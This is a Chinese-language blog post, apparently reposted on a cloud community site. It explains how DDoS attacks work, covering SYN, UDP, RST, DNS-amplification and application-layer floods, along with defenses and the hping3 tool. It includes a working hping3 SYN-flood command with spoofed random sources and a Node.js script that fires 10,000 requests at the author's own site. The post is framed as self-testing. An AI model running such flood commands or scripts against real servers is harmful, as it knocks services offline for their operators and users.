前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >应对ddos攻击_网络安全主动攻击

应对ddos攻击_网络安全主动攻击

作者头像
全栈程序员站长
发布2022-11-10 15:41:25
7480
发布2022-11-10 15:41:25
举报

1.引言

    讲个笑话:手中没有剑,和有剑不用是两种事,因此这里特地学了一下DDOS攻击。使用的工具主要事kali机中的hping3,网安实在是太神奇了,有很多牛逼的工具,但是由于时间有限,所以这里就只学一下hping3,本着能够完成攻击机的任务的目的来学习的。

2.什么是DDOS?

    首先需要明白DDOS是从DOS的基础上发展而来的,有一台电脑对另一台电脑的攻击变成了多台电脑对一台电脑的攻击,知乎上有很多有趣的比喻,有兴趣的可以去搜搜。Dos是一种拒绝服务(Denial of Service),DDos是一种分布式拒绝服务(Distributed Denial of Service),举个形象的例子就是:作为带恶霸的你看某个餐馆不爽,喊了1000个人去一个只能容纳500人同时就餐的餐馆,而这时你喊去的1000人不进行任何消费,其他想就餐的正常顾客也不能就餐。在互联网上DDOS攻击暴力而非常有效。表现为:你通过大量的数据包和目标服务器建立连接,占用目标服务器的带宽,导致目标服务器无法再去为正常的用户提供服务,表现为服务器炸了,如果是阿里云,当DDos攻击达到一定量,会触发阿里云服务器提供的“防御措施”,服务器直接被冻结,这也是本地写博问的终极目标(当然,攻击的是自己的服务器)。

3.DDOS的攻击原理

    这里的攻击原理主要来自于(B站的Ele实验室(DDoS技术鉴赏)),讲的是非常的精彩,总结如下: (1)传输原理,TCP/IP的四层结构:应用层(固定数据包的格式)、传输层(规定传输方式,比如是否需要进行加急处理,经典的三次握手就发生在这里)、互联网层(具体的数据包传送)、子网层(具体的各种硬件载体,比如卫星网,以太网等)。 补充说明一下这个经典的三次握手:

发送方(first)

客户端

SYN

1

ACK

0

顺序号

x

确认号

发送方(second)

服务端

SYN

1

ACK

1

顺序号

y

确认号

x+1

发送方(third)

客户端

SYN

0

ACK

1

顺序号

x+1

确认号

y+1

(2)ICMP洪水,一直发送ping测试的ICMP数据包,拿自己的带宽换目标服务器的带宽; (3)UDP洪水,UDP会暴露ip地址,UDP攻击中可能会涉及代理或者伪造他人ip地址,就形成了反射攻击,将目标地址(目标服务器)写清楚,接受地址写成广大的网络ip,也就是让这些ip去中转。 (4)上面的这两种攻击被形象称为,伤敌1000,自损800。放大攻击,一般可以利用多种网络传输过程实现:     a.DNS服务器,DNS服务器的原理是,拿到域名换成带有ip信息的数据包(通常向DNS请求的数据包远小于查询结果的含ip信息数据包,参考数据:50倍),如果将DNS查询地址改成目标服务器,那就是帮他向DNS服务器使用域名换ip操作。直接将攻击放大了50被。     b.TCP洪水,服务端中有一个TCP维护表,用来记录已经经过三次握手建立连接的连接数据,这个数据表记录数量有上限,占满之后无法响应之后的TCP请求,但不能伪造ip,否则3次握手不成功,可以直接发了第一次TCP握手包不管,然后基于重传机制,服务端会会一直向客户端发多次响应包直到出现超时,也算是放大方式。     c.RST洪水,在TCP协议中使用4次挥手结束连接,还可以由一方使用RST数据(带有断开连接发起方的ip地址)强制断开连接,这样作为攻击方就能直接发送RST数据盲打,导致正常使用的用户与服务端断开连接。     d.基于应用层的代理攻击,原理很好理解,比如搜索一个关键字,但是实际上服务端要做的任务是比较多的,包括查库匹配等,这样如果一下子直接请求大量的查询接口,让服务器吃不消,使用代理是因为一般接口还是基于tcp的需要握手,也就是ip会暴露,所以使用代理。

4.DDOS的防御手段

(1)网络设备ip过滤,在传输的时候每个路由器只传输属于本网段的数据,如果不是本网段的数据,不予以再次发送,这样就能够有效处理ip伪造。 (2)分布式过滤,由于很多路由器是固定的,因此在传输的时候一般数据的传输过程比较固定,如果如果经过了某个不常用的路由节点,说明这个数据包很可能是伪造的。 (3)前两者涉及运营商和开发者等,很难实现,成本比较高。还有一种利用CDN方法,用户请求数据的时候总会请求更近的CDN服务器数据,减少了对中央服务器的压力,对应用层攻击相对有效。 (4)流量清洗,主要为了在握手阶段筛洗请求连接,主要针对用户伪造ip发送第一个握手包,让服务端白白回了10几次的握手第二截断的握手包,清洗设备参与之后,清晰设备会担任第二阶段握手包的功能,回复客户端第二次握手包,如果客户端回复了,就会将本次连接交给服务器正常通信。在应用层方便,清晰工具能够记录非法IP库,如果数据包来自于非法ip库,将直接断开本次连接。

5.什么是hping3?

hping (官网链接)是一款 TCP / IP 数据包编辑器/分析器。它支持TCP,UDP,ICMP 和 RAW-IP 协议,具有跟踪路由模式,在覆盖通道之间发送文件的功能以及许多其他功能。内部参数解释如下(因为我不是专业的,所以这里直接搬运了大佬的参数翻译,方便大家更好的理解使用,仅展示常用参数,已在参考文献中说明):

代码语言:javascript
复制
  -A  --ack        set ACK flag   ------------------------------------- (设置 TCP 的 ACK 标志 位)
-a  	--spoof      spoof source address  //源地址欺骗。伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
--rand-dest      random destionation address mode. see the man. // 随机目的地址模式。详细使用 man 命令
--rand-source    random source address mode. see the man.       // 随机源地址模式。详细使用 man 命令
-c  --count     发送数据包的数目(至于一个数据包多大,后面再来分析)
-d  --data       data size    (default is 0)    // 发送数据包大小,缺省是0。
-i   --interval  发送数据包间隔的时间 (uX即X微秒, 例如: -i u1000)
--fast      等同 -i u10000 (每秒10个包)
--faster    等同 -i u1000 (每秒100个包)
--flood	  尽最快发送数据包,不显示回复。
-I  --interface 网卡接口 (默认路由接口)
-k  --keep       keep still source port     // 保持源端口
-n  --numeric   数字化输出,象征性输出主机地址。
-p  --destport   [+][+]<port> destination port  // 缺省随机源端口
-R  --rst        set RST flag
-S  --syn        set SYN flag
-s  --baseport   base source port    // 缺省随机源端口
-t  --ttl        ttl (默认 64)  //修改 ttl 值,甚至能够用来误导操作系统捕获
-w  --win        winsize (default 64)       // win的滑动窗口。windows发送字节(默认64)

6.实践验证

    先拿一个本地搭建的服务器试试水,攻击指令如下: hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.0.109 说明:每次发送10000个握手包,握手包大小为120字节,使用的窗口大小为64,攻击端口为80,随机源地址,目标地址:192.168.0.109。

在这里插入图片描述
在这里插入图片描述

    如果攻击失败,可能是每次发送的数据包数量不够或者攻击时间较短,耐心等一段时间(大概30s就崩了)。     接下来尝试攻击自己的服务器,实践发现攻击自己的阿里云服务器是无效的(从面板上看这数据量完全对不上),之后我去查了一下原因,最后在一篇文章中找到了答案(三分钟了解阿里云和腾讯云的DDoS防御策略):

针对DDoS攻击,阿里云和腾讯云都有相应的政策,阿里云叫黑洞政策,腾讯云叫ip封堵。有些新入门的网友会认为既然买了阿里云或腾讯云的云服务器,那服务商就自然而然应该提供防攻击保护。而实际上服务商也的确提供了保护,只不过 DDoS 防御带宽费用很高,所以,只能是提供一定限额的防攻击保护,超过了就被停止访问了。当然,我们可以通过买付费服务提升保护。

反思攻击失效原因,应该是阿里云服务器做了安全防御,并且我使用的攻击手段又太普遍了。很容易就被防御了,实际到达阿里云服务器的流量几乎没有多少。 但是想攻击也不是不行,只是没有那么高级,这里直接基于应用层接口攻击,连续请求大量的接口是服务器响应不过来(影响是服务器级别的,不针对某个应用):

代码语言:javascript
复制
//node.js写的
const request = require("request");
function launchRequest() { 

request(
{ 

//这里暴露了我的网站,请不要恶意攻击,虽然我没有完成对我服务器的攻击,
//但是不表示不能攻击,有些地方还是有大佬封装的ddos攻击工具和网站。
//我可不想我想鱼皮一样惨,请大佬高抬贵手,学习的目的不是为了去攻打被人,
//而是了解原理。让自己手中有剑。
url: 
"https://nightowl.top/index/getSwiperList",
method: "GET",
json: true,
},
(err, rep, body) => { 

if (err) { 

console.log("完成学习接口调用失败:", err);
return false;
}
if (body.code == 0) { 

console.log("输出返回数据:", body);
}
}
);
}
module.exports = async (ctx) => { 

for (let i = 0; i < 10000; i++) { 

launchRequest();
}
};
在这里插入图片描述
在这里插入图片描述

防御手段:对网站接口请求做延时处理,要求用户请求带上token用于验证并且带上时间戳,用于限制请求频次,当然我这个网站写的比较简陋,加上当时学的东西比较少。

7.参考文献

(1)hping3使用详解

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/184755.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022年10月7日 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.引言
    • 2.什么是DDOS?
      • 3.DDOS的攻击原理
        • 4.DDOS的防御手段
          • 5.什么是hping3?
            • 6.实践验证
              • 7.参考文献
              相关产品与服务
              云服务器
              云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档